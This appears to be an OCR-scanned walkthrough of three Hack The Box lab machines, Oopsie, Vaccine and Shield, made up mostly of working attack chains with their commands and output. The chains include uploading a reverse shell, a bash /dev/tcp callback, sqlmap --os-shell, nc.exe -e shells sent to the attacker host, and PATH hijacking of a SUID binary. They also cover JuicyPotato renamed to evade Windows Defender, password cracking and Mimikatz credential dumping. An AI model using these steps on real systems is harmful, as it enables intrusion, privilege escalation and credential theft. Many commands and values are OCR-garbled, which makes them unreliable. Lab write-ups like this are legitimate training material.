Branding Image Uploads .
9 ImAge P Repair Management System

Brand Name

Browse_ | B The file check.php has been uploaded.
Upload

We don't know where the reverse shell was uploaded to, so let's get the dirsearch tool to
enumerate the web server for common directories.

$ git clone https://github.com/maurosoria/dirsearch.git

Cloning into 'dirsearch’ ...
remote: Enumerating objects: 189, done.

remote: Counting objects: 108% (109/189), done.

remote: Compressing objects: 100% (93/93), done.

remote: Total 2182 (delta 54), reused 36 (delta 16), pack-reused 2073
Receiving objects: 1@e% (2182/2182), 17.96 MiB | 5.83 MiB/s, done.
Resolving deltas: 100% (1302/13862), done.

Let’s run the script for “php” files.

$ cd dirsearch
$ sudo python3 dirsearch.py -u http://10.10.10.28 -e php

Extensions: HTTP method: Suffixes: HTTP method: Threads: Wordlist size: Request count:

From the output we can see that the tool has identified the uploads folder.

10:10:38] 200 - 11KB - /index.php/login,
[ — http://10.10.10.28/js/

— http://10.10.10.28/themes/

- http://10.10.10.28/uploads/

Task Completed

We can set up our listener.
D S nc -lvnp 1234

listening on [any] 1234
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Then we can trigger a reverse shell using the curl command.

: $ curl http://10.10.10.28/uploads/check.php

Below a a shell as www-data and proceed to upgrade it.

$ curl http://10.10.10.28/uploads/check.php

$ nc -lvnp 1234

listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.28] 59516

Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 xB6_64 xB6_64 x86_64 GNU/Linux
14:26:51 up 12:@85, © users, load average: 0.00, 9.00, 0.00

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

uid=33(www-data) gid=33(www-data) groups=33(www-data)

/bin/sh: @: can't access tty; job control turned off

Let’s upgrade the reverse shell by inputting the following commands (link):
SHELL=/bin/bash script -q /dev/null
<Ctrl-z>
stty raw -echo
fg
reset
xterm

And we get the fully interactive shell:

www-data@oopsie:/S

Lateral Movement

The website records are probably retrieved from a database, so it's a good idea to check for
database connection information.

Let’s check for any db file

www-data@oopsie:/$S locate db

And we eventually find the “/var/www/html/cdn-cgi/login/db.php” file.
Jvar/lib/....
/var/lib/....
Jvar/lib/....
/var/www/html/cdn-cgi/login/db.php

Let check the /var/www/html/cdn-cgi/login/db.php.
ww -datagoopsie:
<?php

$conn = mysqli_connect('localhost’, Rl aLE LN IS DEE G’ , 'garage');

7>
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From the php.net manual page for function.mysgli-connect.php (link), we see how

mysqli_connect function works:
mysqli_connect(DB_HOST, DB_USERNAME, DB_PASSWORD,DB_NAME);"

So let’s use the page credentials in db.php :

e DB _USERNAME: robert
e DB _PASSWORD:M3g4COrpUs3r!

We can now use the “su (Switch User)” command to switch user and move laterally.

www-data@oopsie:/S su robert
Password:

robert@oopsie:/$

Privilege Escalation

The id command reveals that robert is a member of the bugracker group.
uid=18@0@(robert) gid=100@(robert) groups=1000(robert),1001(bugtracker)

robert@oopsie:/$ |

We can enumerate the filesystem to see if this group has any special access. Here a link to

better understand the “2>/dev/null” used to to discard errors

robert@oopsie:/$  find /-type f -group bugtracker 2>/dev/null
/usr/bin/bugtracker

Let’s list what is inside the directory
robert@oopsie:/S s -al /usr/bin/bugtracker

—rwr—xr——l root_bugtracker 8792 Jan 2510:14 /usr/bin/bugtracker

We could have use also the following command to concatenate the two commands

robert@oopsie:/S find / -type f -group bugtracker 2>/dev/null | xargs s -al

We can see that there is a special permission on the file “s”.
robert@oopsie:/S s -al /usr/bin/bugtracker

That is the "setuid" bit, which tells the OS to execute that program with the userid of its
owner.This is typically used with files owned by root to allow normal users to execute them
as root with no external tools (such as sudo).
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e SUID is a special file permission for executable files which enables other users to run the

|ll

file with effective permissions of the file owner. Instead of the normal “x” which
represents execute permissions, you will see an s (to indicate SUID) special permission for
the user.

e SGID is a special file permission that also applies to executable files and enables other
users to inherit the effective GID of file group owner. Likewise, rather than the usual “x”
which represents execute permissions, you will see an s (to indicate SGID) special

permission for group user.

Let's run the bugtracker binary and see what it does.

Binary package hint: ev-engine-lib

Version: 3.3.3-1

Reproduce:
When loading library in firmware it seems to be crashed

What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.

What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.

It seems to output a report based on the ID value provided. Let's use strings against the
binary file to see how it does this.

robert@oopsie:/S strings /usr/bin/bugtracks

/lib64/1d-linux-x86-64.50.2
Libc.so.6

GCC: (UBUNTU 7.4.0-1ubuntul~18.04.1) 7.4.0

We see that it calls the “cat” binary using this relative path instead of the absolute path.

Let have a look to current SPATH
robertgoopsie:/$

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
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By creating a malicious cat, and modifying the path to include the current working directory,
we should be able to abuse this misconfiguration, and escalate our privileges to root.Let's

add the “tmp” directory to PATH
robert@oopsie:/S export PATH=/tmp:SPATH
robert@oopsie:/S export PATH

/tmp:/usr/local/sbin:/usr/local/bin:/usr/shin:/usr/bin:/shin:/usr/games:/usr/local/games

Then we move into the tmp folder:

robert@oopsie:/S cd /tmp/

Let’ create a malicious cat.

robert@oopsie:/tmpS echo '/bin/sh' > cat

Let's make it executable.

robert@oopsie:/tmpS chmod +x cat

Now, after making our “malicious” cat executable, if we search for the cat executable with the “which”

command we will see:

robert@oopsie:/tmpS which —-a cat
/tmp/cat

/bin/cat

PATH is an environmental variable in Linux and other Unix-like operating systems that tells the shell which
directories to search for executable files (i.e., ready-to-run programs) in response to commands issued by a
user. The first “cat” command to be executed will be “our malicious” “/tmp/cat”, so by running the

bugtracker binary we will have access to a root shell.

robertaoopsie: /tmp% usry/bin/bustracker

If we check the current effective user ID with “whoami”, we will see that we are now “root”

# dd
uid=a(root) gid=l1@@a({robert) sroups=18@a{robert),l@al{bugstracker)}

Il ami

# cd JSroot

# 1Is

reports root.txt

# more root.txt
afl3Ibebeec9fB8as877rcI3IfafeserfF7beact

Post Exploitation

Inside root's folder, we see a .config folder, which contains a FileZilla config file with the
credentials ftpuser(username) and mc@F1I3ZilL4(password) visible in plain text.

rootawopsie:~/ . config,/filezilla# more Filezilla.xxml
<FPxMmlL wersion="1.8" encoding="UTF—8S" standalone="yes™ 7>
<FileZilla3>
<RecentSerwvers>
<=Serwer>
<HosSt>1@ .18 .10 . 848</Host>

<Port>21</ Port>
<Protocol>@</ Protocol>

T s~ e T oo
=User>ftpuser</User>
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Machine : | Vaccine

IP: | 10.10.10.46

Enumeration

nmap -sC-sV 10.10.10.46

The Nmap scan reveals three open ports running, for FTP, SSH and Apache respectively.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-03 10:28 EDT
Nmap scan report for 10.10.10.46
Host is up (0.041s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open  ftp vsftpd 3.0.3
22/tcp open  ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
| 256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
| 256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open  http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|/
| PHPSESSID:
| httponly flag not set
| _http-server-header: Apache/2.4.41 (Ubuntu)
| _http-title: MegaCorp Login
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.64 seconds

The credentials ftpuser with mc@F113ZilL4 can be used to login to the FTP server.
ftp 10.10.10.46
Connected to 10.10.10.46.
220 (vsFTPd 3.0.3)

Name (10.10.10.46:kali): ftpuser

331 Please specify the password.

Password:

230 Login successful.
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Let’s see what is in there
Remote system type is UNIX.

Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.
-rW-r--r-- 10 0] 2533 Feb 03 11:27 backup.zip
226 Directory send OK.

A file named backup.zip is found in the folder. Let get the *.zip file:
ftp> get backup.zip
local: backup.zip remote: backup.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.zip (2533 bytes).

226 Transfer complete.

2533 bytes received in 0.00 secs (1.1824 MB/s)
ftp>

741852963 (backup.zip)

Extraction of the archive fails as it's password protected. The password can be cracked using
zip2john, JohntheRipper and rockyou.txt.

The zip2john tool will be used to process the input ZIP files into an hash format suitable for
use with JohntheRipper

zip2john backup.zip > hash

The rockyou.txt file (with the passwords) is located here:
locate rockyou.txt
Jusr/share/wordlists/rockyou.txt.gz

To extract the rockyou.txt.gz file, we use the gunzip command:

gunzip /usr/share/wordlists/rockyou.txt.gz

Now it is possible to use the JohntheRipper tool as sown below:
john hash —fork=4 -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status

1 1g 0:00:00:00 DONE (2020-07-03 11:33) 100.0g/s 25600p/s 25600c¢/s

Use the "--show" option to display all of the cracked passwords reliably

Session completed

As we can see, the password for the backup.zip file is 741852963
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Extracting it's contents using the password reveals a PHP file and a CSS file.
unzip backup.zip

Archive: backup.zip
[backup.zip] index.php password:
inflating: index.php
inflating: style.css

Inspecting the PHP source code, we find a login check.
<?php

session_start();
if(isset(S_POST['username']) && isset(S_POST['password'])) {
if(S_POST['username'] ==='admin' && md5(S_POST['password']) === "2cb42{8734ea607eefed3b70af13bbd3") {

S_SESSION['login'] = "true";
header("Location: dashboard.php");

}

>

The input password is hashed into a MD5 hash: 2cb42f8734ea607eefed3b70af13bbd3.

This hash can be easily cracked using an online rainbow table such as crackstation.

Defuse.ca - Y Twitter

ng Security ¥ Defuse Security ¥

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

2cha2fa734eabb7eefed3b70af13bbd3

. I'm not a robot

Supports: LM, NTLM, md2, md4, md5, mdS(md5_hex), mdS-half, shal, sha224, sha256, sha384, sha512, ripeMD 160, whirlpool, MySQL 4.1+ (shal(shal_bin)),
QubesV3.1BackupDefaults

Hash Type Result
2cb42f8734ea607eefed3b78af13bbd3 H mds H querty789

Color Codes: [Bf88) Exact match, Yellow: Partial match, [JElll Not found.

Download CrackStation's Wordlist

How CrackStation Wnrks

The result is : qwerty789
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Foothold

Browsing to port 80, we can see a login page for MegaCorp.

SIGN IN

The credentials admin / qwerty789 can be used to login.

The page is found to host a Car Catalogue, and contains functionality to search for products.

10.10.10._ 46

MegaCorp Car Catalogue ( =)

Name Type Fuel Engine
Elixir Sports Petrol 2000cc
Sandy Sedan Petrol 1000cc
Meta sSuv Petrol 800cc
Zeus Sedan Diesel 1000cc
Alpha sSuv Petrol 1200cc
Canon Minivan Diesel 600cc
Pico Sed Petrol 750cc

“u_n

Searching for example for the term “a”, results in the following request.
http://10.10.10.46/dashboard.php?searchza

1oy @ 10.10.10.46 = o= )% i &

: Box :: Penetr... Kali Linux Kali Training Kali Tools <« Kali Docs Kali Forums NetHunter |[| Offensive Security

MegaCorp Car Catalogue ( Q]

Name Type Fuel Engine

Sandy Sedan Petrol 1000cc

sSuv 800cc

Petrol

sSuv 1200cc

Petrol

600cc

Minivan Diesel

Diesel 1400cc

Sports
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The page takes in a GET request with the parameter search. This URL is supplied to sglmap, in
order to test for SQL injection vulnerabilities. The website uses cookies, which can be
specified using --cookie.

Right-click the page and select Inspect Element. Click the Storage tab and copy the PHP Session ID.

= O Inspector Console [ Debugger {3} Style Editor () Performance 4k Memory T MNetwork [ Storage  Accessibility 4] = X
B cache storage + G &=
B cookies Name Domain Path Expireson Lastaccessedon Value table.header.. | sameSite Data
@ http:1010.10.46 PHPSESS. 10.10.10.46 [ Session Fri, 03Jul 202019:20..  gub9n3ugpgeSo... false » PHPSESSID: "gub9n3ugpgcSobsresjkvBtq3m”

B indexed DB
B vLocal storage
B session storage
@ http:i10.10.10.46

ata

PHPSESSID: "gub9 nzZugpocSobhsreSjlkeStg3m ™

1]
1]

We see the PHPSESSID value is :"gub9n3ugpgcSobsre8jkv8tg3m"

We can construct the sqlmap query as follows using the PHPSESSID
sglmap -u 'http://10.10.10.46/dashboard.php?search=a’ --cookie="PHPSESSID=gub9n3ugpgc5obsre8jkv8tg3m"

Sglmap found the page to be vulnerable to multiple injections, and identified the backend
DBMS to be PostgreSQL.

Getting code execution in postgres is trivial using the --os-shell command.

sglmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=gub9n3ugpgc5obsre8jkv8tg3m" --os-shell
[*] starting @ 15:32:32 /2020-07-03/

Parameter: search (GET)

Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=a";SELECT PG_SLEEP(5)--

Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: search=a' AND 8079=(SELECT 8079 FROM PG_SLEEP(5))-- dEyh

[15:32:34] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[15:32:34] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER

os-shell>
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-os-shett> whoamz
do you want to retrieve the command standard output? [Y/n/a] Y

[15: ] [CRITICAL] connection dropped or unknown HTTP status code received. Try to force the HTTP User-Agent header wi
th option '--user-agent' or switch '--random-agent'. sqlmap is going to retry the request(s)

[15:36:28] [INFO] retrieved: 'postgres'’
command standard output:

p
)
s
t
g
r
e
s
o

s-shell> |}

Privilege Escalation

This can be used to execute a bash reverse shell.
bash -¢ 'bash-i>& /dev/tcp/<your_ip>/4444 0>&1'

os-shell> bash -c 'bash -1 >& /dev/tcp/10.10.14.16/4444 0>51"

: $ nc -lvnp 4bb4
listening on [any] 4444 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.46] 39648
bash: cannot set terminal process group (24085): Inappropriate ioctl for device
bash: no job control in this shell
postgresgvaccine:/var/lib/postgresql/11/main$ exit

: $ nc -lvnp 4bb4
listening on [any] &444& ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.46] 39852
bash: cannot set terminal process group (24598): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$

Let's upgrade to a tty shell and continue enumeration.

SHELL=/bin/bash script -q /dev/null

Let’s have a look to the source code of dashboard.php in /var/www/html.

The code reveals the postgres password to be: P@s5wOrd!

try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=Pas5wlrd!");

}
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This password can be used to view the user's sudo privileges.

sudo -1
[sudo] password for postgres: Pas5word!

Matching Defaults entries for postgres on vaccine:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

The user is allowed to edit the configuration /etc/postgresqgl/11/main/pg_hba.conf using vi.
This can be leveraged to gain a root shell and access root.txt.

Once opened the file in “Vi” editor with sudo, we can try to spawn a TTY shell from within vi
by typing one of the following command (link):

. : I bash
. : set shell=/bin/bash:shell
. : 1 /bin/bash

$ sudo /bin/vi fetc/postgresql/i1/main/pg_hba.conf
sudo /fbin/vi fetc/postgresql/1i/main/pg_hba.conf

E558: Terminal entry not found in terminfo
"unknown' not known. Available builtin terminals are:
builtin_amiga
builtin_beos-ansi
builtin_ansi
builtin_pcansi
builtin_win32
builtin_wt32@
builtin_wt52
builtin_xterm
builtin_iris-ansi
builtin_debug
builtin_dumb
defaulting to "ansi®

DO NOT DISABLE!

If you change this first entry you will need to make sure that the
database superuser can access the database using some other method.
Noninteractive access to all databases 1is required during automatic
maintenance (custom daily cronjobs, replication, and similar tasks).

Database administrative login by Unix domain socket

# TYPE DATABASE USER ADDRESS METHOD

Llocal all postgres ident
# "local®™ is for Unix domain socket connections only

local all all peer
# IPv4 local connections:

host all all 127.8.8.1/32 md5
# IPve local connections:

host all all ::1/128 md 5
# Allow replication connections from localhost, by a user with the

# replication privilege.

local replication all peer
host replication all 127.0.8.1/32

host replication all :x1/128
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As we can see, now we have a TTY as root.

: Ibash

root@vaccine: /var/ww /html# id

id

uid=@(root) gid=0(root) groups=@(root)
root@vaccine:/var/ww /html# whoami
whoami

root

root@vaccine: /var/ww/html# 1s

1ls

bg.png dashboard.js  index.php
dashboard.css dashboard.php license.txt
root@vaccine:/var/wwi/html# cd

cd ..

rootavaccine:/var/wwwit cd ..

cd ..

root@vaccine:/var# cd ..

cd ..

root@avaccine:/# 1s

1s

bin etc lib lost+found
boot home 1ib32 media
cdrom initrd.img Lib64 mnt

dev initrd.img.old 1ibx32 opt
root@vaccine:/# cd root

cd root

rootgvaccine:~# 1s

1s

pg_hba.conf root.txt snap
root@gvaccine:~# cat root.txts+

cat root.txt+

cat: root.txt+: Mo such file or directory
rootavaccine:~# cat root.txt

cat root.txt
dd6ed58e814260bc70e9bbdef2715849

style.css

tmp
usr
var
vmlinuz

vmlinuz.old
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4. Shield

Machine : | Shield

IP: | 10.10.10.29

Enumeration

sudo nmap -sC -sV 10.10.10.29

Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-09 12:59 EDT
Nmap scan report for 10.10.10.29

Host is up (0.044s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IS httpd 10.0

| http-methods:

| Potentially risky methods: TRACE

| _http-server-header: Microsoft-11S/10.0

| _http-title: 1IS Windows Server

3306/tcp open mysqgl  MySQL (unauthorized)

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

From the Nmap output, we find that IIS and MySQL are running on their default ports. IS
(Internet Information Services) is a Web Server created by Microsoft. Let's navigate to port
80 using a browser. We see the default IS starting page.

B Windows Server

Internet Information Services

Blsnvenue 1 crvetuloa
4 s ce Benvenuto « .
& 5 WP Blenvenida Hos geldinis | oon ooa
vindo L)

Ko
Viegte oploae . swars DAVEZONGK

Gobuster v3.0.1
TheColonial) & Christian Mehlmauer (@_FireFart_)

Url: http://10.10.10.29

Threads: 10

Wordlist: fusr/share/dirb/wordlists/common.txt
Status codes: 200,204,301,302,307,401,403

User Agent: gobuster/3.0.1

Timeou

20/07/09 15:11:47 Starting gobuster

(Status: 301)

I @I+ + + + + +

I Ml
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We do found the “/wordpress” folder. WordPress (link) is a Content Management System
(CMS) that can be used to quickly create websites and blogs.

Let’s do another search using “dirsearch” and pointing directly to that folder

3 ../Oopsie/dirsea

Starting:
http://10.10.10.29/wordpress/

1 — http://10.10.10.29/wordpress/wp-admin/
1t —  http://16.10.10.29/wordpress,/wp-content/

/;mrdi:ressf

— http://10.10.10.29/wordpress/wp-includes/
/wordpress/wp-includes/rss-functions.php
v in/install.php
http://10.10.10.29/wordpress,/wp-login.php?red

:23] /wordpress/xmlrpc.php

Task Completed

We do see some interesting folder and files. Since we have already acquired the password
P@s5wO0rd!, we can try to login to the WordPress site and navigate to
http://10.10.10.29/wordpress/wp-login.php trying to guess the username with some common

usernames(admin or administrator). The combination admin : P@s5wO0rd! is successful and
we gain administrative access to the site.

@ @& shieldsup

@ Dashboard

WordPress 5.3.2 is available! Please update now.

Home
2 An automated WordPress update has failed to complete - please attempt the update again now.
>
Dashboard
0 Medi
L} Dismiss
Welcome to WordPress! © Dismiss
L ents We've assembled some links to get you started:
> A -
o D Get Started Next Steps More Actions
T < K Edityourfront page Manage widgets or menus
- Customize Your Site
& Users + Add additional pages B3 Turn comments on or off
& Tool or, change your theme completely K Addablog post = Learn more about getting started
ing B vView your site
o
At a Glance a Quick Draft i
A 3posts M 4 Pages Title

B 1comment

WordPress 5.2.1 running Highlight theme. Update t05.3.2 Content

Search Engines Discouraged What's on your mind?

Activity .
Recently Published
Fel & Electric T
:
WordPress Events and News .
Loading...

Recent Comments

RSS Error: WP HTTP Error: cURL error 6: Could not resolve host: wordpress.org

r my new carl RSS Error: WP HTTP Error: cURL error 6: Could not resolve host: planet.wordpress.org

Meetups [ WordCamps ' News [
AlL(1) Mine (1) Pending(0) Approved (1) = Spam (0} = Trash (0)
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Foothold

The administrative access can be leveraged through the msfmodule “exploit/
unix/webapp/wp_admin_shell_upload”, to get a meterpreter shell on the system. Let’s follow
the following commands in order to get a session:

msfconsole

msf > use exploit/unix/webapp/wp_admin_shell _upload
msf > set PASSWORD P@s5wOrd!

msf > set USERNAME admin

msf > set TARGETURI /wordpress

msf > set RHOSTS 10.10.10.29

msf > run

» Sudo msftconsolLe

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E

Ready ...

> access security

access: PERMISSION DENIED.

> access security grid

access: PERMISSION DENIED.

> access main security grid

access: PERMISSION DENIED....and...

metasploit v5.0.87-dev

2006 exploits - 1096 auxiliary - 343 post
562 payloads - 45 encoders - 10 nops

7 evasion

=[
=[
=[
=[

Metasploit tip: Use the edit command to open the currently active module in your editor

msf5 > use exploit/unix/webapp/wp_admin_shell_upload

msf5 exploit( ) > set PASSWORD P@s5we@rd!
PASSWORD = Pas5wlrd!

msf5 exploit( ) > set USERNAME admin
USERNAME = admin

msf5 exploit( ) > set TARGETURI /wordpress
TARGETURI = /wordpress

msf5 exploit( ) > set RHOSTS 10.10.10.29
RHOSTS = 10.10.10.29

msf5 exploit( ) > runf]

exploit(

Started reverse TCP handler on 10.10.14.16:4444
Authenticating with WordPress using admin:P@sbwérd! ...
Authenticated with WordPress
Preparing payload ...
Uploading payload ...
Executing the payload at /wordpress/wp-content/plugins/ZeEqdypLy]/dfSRCtZOPw.php ...
Sending stage (38288 bytes) to 10.10.10.29
Meterpreter session 1 opened (10.10.14.16:4444 — 10.10.10.29:49696) at 2020-07-12 @8:17:01 -0400
[+] Deleted dfSRCtZOPw.php
[+] Deleted ZeEqdypLyl.php
[!] This exploit may require manual cleanup of '../ZeEqdypLyl' on the target

meterpreter > Jj
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Now that we got a meterpreter shell, we can use netcat (nc.exe) tp get a more stable shell.

So let’s locate the binary.

™ S locate nc.exe

/Jusr/share/windows-resources/binaries/nc.exe

Let’s copy nc.exe into our “Tools” directory

$ sudo cp /usr/share/windows-resources/binaries/nc.exe ../Tools/
$ 1s ../Tools/

$ [

$ cp /usr/share/windows-resources/binaries/nc.exe
$ 1s

From within the meterpeter session, let’s move to oyr local Tools directory
$ pwd

/home/kali/HTB/StartingPoint/Tools

We can use the lcd command ( Icd stands for "Local Change Directory", which we use to
navigate to the local folder where nc.exe is located.):

meterpreter > lcd
Usage: lcd directory

So, let’s move to the “/home/kali/HTB/StartingPoint/Tools” folder where the “nc.exe” binary

is located
meterpreter > lcd /home/kali/HTB/StartingPoint/Tools

We then navigate to a writeable directory on the server (in our case
C:/inetpub/wwwroot/wordpress/wp-content/uploads) and upload netcat.

Name
100666/ rw-rw-rw—- 18093 i 2020-02-19 06:07:10 -850@ black-shield-shape-dra
100666/ rw-rw-rw—- 20083 i 2020-02-19 06:07:10 -850@ black-shield-shape-dra
100666/ TW-TW-TW- 254028 i 2020-02-19 06:87:10 -8580 black-shield-shape-dra

The command to upload is the “upload” command: upload nc.exe

meterpreter > upload nc.exe
uploading : nc.exe — nc.exe

Uploaded -1.80 B of 58.080 KiB (-0.0%): nc.exe — nc.exe
uploaded I Nc.exe — nc.exe
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We can see now the nc.exe program in the “upload” folder

meterpreter > upload nc.exe
uploading : nc.exe — nNc.exe

Uploaded -1.80 B of 58.00 KiB (-0.8%): nc.exe — nc.exe
uploaded ! Nc.exXxe — nNc.exe
meterpreter > pwd
C:\inetpub\wwwroot\wordpress\wp-content\uploads

meterpreter > 1s
Listing: C:\inetpubM\wwwroot\wordpress\wp-content\uploads

Name

100666/ rw-rw-rw- 2020-02-10 :07: black-shield-shape-drawing
100666/ rw-rw-rw- 2020-02-10 :07: black-shield-shape-drawing
100666/ rw- rw-rw— 2020-02-10 :07: black-shield-shape-drawing
100666/ rw- rw-rw- 2020-02-10 :07: black-shield-shape-drawing
100666/ rw-rw-rw- 2920-02-10 :07: cropped-black-shield-shape
100666/ rw- rw-rw- 2020-02-10 107 cropped-black-shield-shape
100777/ rwx rwx rwx 2020-07-12 123: nc.exe

Using Netcat

On another terminal we can now launch a listener

i S nc-lvp1234
listening on [any] 1234 ..

Next, we can execute the meterpeter command into the meterpreter session
10077/rwxrwxrwx 59392 fil 2020-07-12 15:23:12 -0400
meterpreter > pwd

C:\inetpub\wwwroot\wordpress\wp-content\uploads
meterpreter > execute -f ncexe -a "-e cmd.exe 10.10.14.16 1234"

Process 632 created.

And we get a netcat shell:

meterpreter > execute -f nc.exe -a "-e cmd.exe 10.18.14.16 1234"
Process 632 created.

meterpreter > [

: $ nc -lvp 1234

listening on [any] 1234 ...

10.10.18.29: inverse host lookup failed: Host name lookup failure
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.29] 49729
Microsoft Windows [Version 10.08.14393]

(c) 2016 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\wordpress\wp-content\uploads>
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Privilege Escalation

Running the “sysinfo” command on the meterpreter session, we notice that this is a Windows
Server 2016 OS, which is vulnerable to the Rotten Potato exploit.

meterpreter > sysinfo
Computer : SHIELD

05 : Windows NT SHIELD 18.9 build 14393 (Windows Server 2016) i586

Meterpreter : php/windows
meterpreter > [

Let’s download the “JuicyPotato.exe” binary frome here :
https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

Let’s save the binary into our “Tools” folder
T S Is

NOTE: Sometimes browser does not allow the download

-_ JuicyPotato.exe

Show more information

In this situation we can use the following command:
sudo wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

Then with the lcd command we move to the “Tools” folder from the meterpreter’s shell and

we proceed with the upload of the “JuicyPotato.exe” into the “uploads” folder.

meterpreter > Llcd JShome/kali/HTB/StartingPoint/Tools

meterpreter > pwd
C:hinetpubwaw root \wordpress’wp—contentuploads

meterpreter > upload JuicyPotato.exe
uplLoading : JuicyPotato.exe — JuicyPotato.exe
uplLoaded : JuicyPotato.exe — JuicyPotato.exe
meterpreter > upload JuicyPotato.exe]]

NOTE: We will have to rename the Juicy Potato executable to something else, otherwise it
will be picked up by Windows Defender.

From the meterpeter session we can use this command:

mv JuicyPotato.exe js.exe

From the reverse shell on a Windows Machine we can use this command:

rename JuicyPotato.exe js.exe
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Below the executed command

C:\inetpub\wwwroot\wordpress\wp-content\uploads> rename JuicePotatao.exe js.exe

Rename JuicePotato.exe js.exe

From our shell, we can create a batch file that will be executed by the exploit, and return a

SYSTEM shell. Let's add the following contents to shell.bat:
echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111 > shell.bat

C:\inetpub\wwwroot\wordpress\wp-content\uploads>dir
dir

07/13/2020  11:55 AM 98 shell.bat

Let's start, from another terminal, another netcat listener:
T S nc -lvp 1234111
listening on [any] 1111..

Next, we execute the netcat shell using the JuicyPotato binary(js.exe):
:$  js.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -1 1337

js.exe -t * -p C:\inetpub\wwroot\wordpress\wp-content\uploads\shell.bat -1 1337
Testing {4991d34b-80al-4291-83b6-3328366b9097} 1337

[+] authresult @
{4991d34b-80a1-4291-83b6-3328366b9097 };NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\inetpub\wwwroot\wordpress\wp-content\uploads>[]

NOTE: if our payload is not working, we can use another CLSID
Option to add : -c {bb6dfS6b-cace-11dc-9992-0019b93a3a84}

Now on the listener terminal we have a shell as “nt authority\system”

: $ nc -lvnp 1111

listening on [any] 1111 ...

connect to [18.10.14.16] from (UNKNOWN) [19.18.16.29] 51880
Windows PowerShell

Copyright (C) 2816 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami

nt authority\system

PS C:\Windows\system32> []
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And we can have access to the “root.txt” file

PS C:\Windows\system32> cd c:/users/Administrator/Desktop
cd c:/users/Administrator/Desktop

PS C:\users\Administrator\Desktop> dir

dir

Directory: C:\users\Administrator\Desktop

Mode LastWriteTime Length Name

-ar— 2/25/2020 1:28 PM 32 root.txt

PS C:\users\Administrator\Desktop> more root.txt
more root.txt
6e9a9fdc6f64e410a68b847bb4b404Ta

Post Exploitation

We can now try to dump cache password using a tool named Mimikatz (link)

: $ locate mimikatz

The 64 bit versione is the one we need
L] " - Fd WL b - Ly L - Ly

fusr/share/windows-resources/mimikatz/x64/mimidrv.sys

/usr/share/windows-resources/mimikatz/x64/mimikatz.exe

Jusr/share/windows-resources/mimikatz/x64/mimilib.d11

LY

We use the meterpreter (link) session to upload the “mimikatz.exe” file:

meterpreter > lcd fusr/share/windows-resources/mimikatz/x64/

meterpreter > pwd
C:\inetpub\wwwroot\wordpress\wp-content\plugins\KEfhvrmUam

meterpreter > cd ../../uploads
meterpreter > pwd

C:\inetpub\wwwroot\wordpress\wp-content\uploads

meterpreter > upload mimikatz.exe
uploading : mimikatz.exe — mimikatz.exe
Uploaded -1.00 B of 1.20 MiB (@.0%): mimikatz.exe — mimikatz.exe
uploaded : mimikatz.exe — mimikatz.exe
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As a “nt authority\system” we execute mimikatz and use the sekurlsa command to extract

logon passwords

PS C:\inetpub\wwwroot\wordpress\wp-content\uploads> ./mimikatz.exe
/mimikatz.exe

L. mimikatz 2.2.0 (x64) #18362 May 2 2020 16:23:51
T . "A La Vie, A L'Amour” - (oe.eo)

i / \ #Ht /xxx Benjamin DELPY ~“gentilkiwi” ( benjamin@gentilkiwi.com )

N/ > http://blog.gentilkiwi.com/mimikatz

T#H v o Vincent LE TOUX ( vincent.letouxggmail.com )
‘Rinas' > http://pingcastle.com / http://mysmartlogon.com %%/

Below the extracted credentials

